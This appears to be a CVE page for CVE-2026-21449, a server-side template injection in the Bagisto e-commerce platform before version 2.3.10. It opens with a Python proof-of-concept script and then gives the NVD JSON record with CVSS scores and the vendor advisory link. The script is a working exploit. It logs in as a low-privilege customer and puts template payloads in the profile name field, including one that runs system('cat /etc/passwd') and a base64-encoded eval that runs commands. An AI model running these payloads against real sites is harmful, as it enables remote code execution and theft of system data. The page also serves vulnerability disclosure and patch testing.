CVE-2026-21449

import requests import json # CVE-2026-21449 Bagisto SSTI PoC # Target: Bagisto < 2.3.10 # Author: Security Researcher target_url = "http://target-site.com" # Login as low-privilege user login_url = f"{target_url}/customer/login" session = requests.Session() login_data = { "email": "[email protected]", "password": "password123" } response = session.post(login_url, data=login_data) # Update first_name with SSTI payload profile_url = f"{target_url}/customer/account/profile" # Basic SSTI test - should return 49 ssti_payload = "{{7*7}}" profile_data = { "first_name": ssti_payload, "last_name": "Test" } response = session.post(profile_url, data=profile_data) # Command execution payload cmd_payload = "{{system('cat /etc/passwd')}}" profile_data = { "first_name": cmd_payload, "last_name": "Test" } response = session.post(profile_url, data=profile_data) # Alternative payload for RCE rce_payload = "{{eval(base64_decode('c3lzdGVtKCd3aG9hbWknKQ=='))}}" profile_data = { "first_name": rce_payload, "last_name": "Test" } response = session.post(profile_url, data=profile_data) print("SSTI PoC executed - check server response")

{"cve": {"id": "CVE-2026-21449", "sourceIdentifier": "[email protected]", "published": "2026-01-02T21:16:02.647", "lastModified": "2026-01-08T21:21:59.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bagisto is an open source laravel eCommerce platform. Versions prior to 2.3.10 are vulnerable to server-side template injection via first name and last name from a low-privilege user. Version 2.3.10 fixes the issue."}, {"lang": "es", "value": "Bagisto es una plataforma de comercio electrónico Laravel de código abierto. Las versiones anteriores a la 2.3.10 son vulnerables a la inyección de plantillas del lado del servidor a través del nombre y apellido de un usuario con bajos privilegios. La versión 2.3.10 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webkul:bagisto:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.10", "matchCriteriaId": "E9A19FD0-5100-48D6-BBB3-5A4CA1D90593"}]}]}], "references": [{"url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-mqhg-v22x-pqj8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}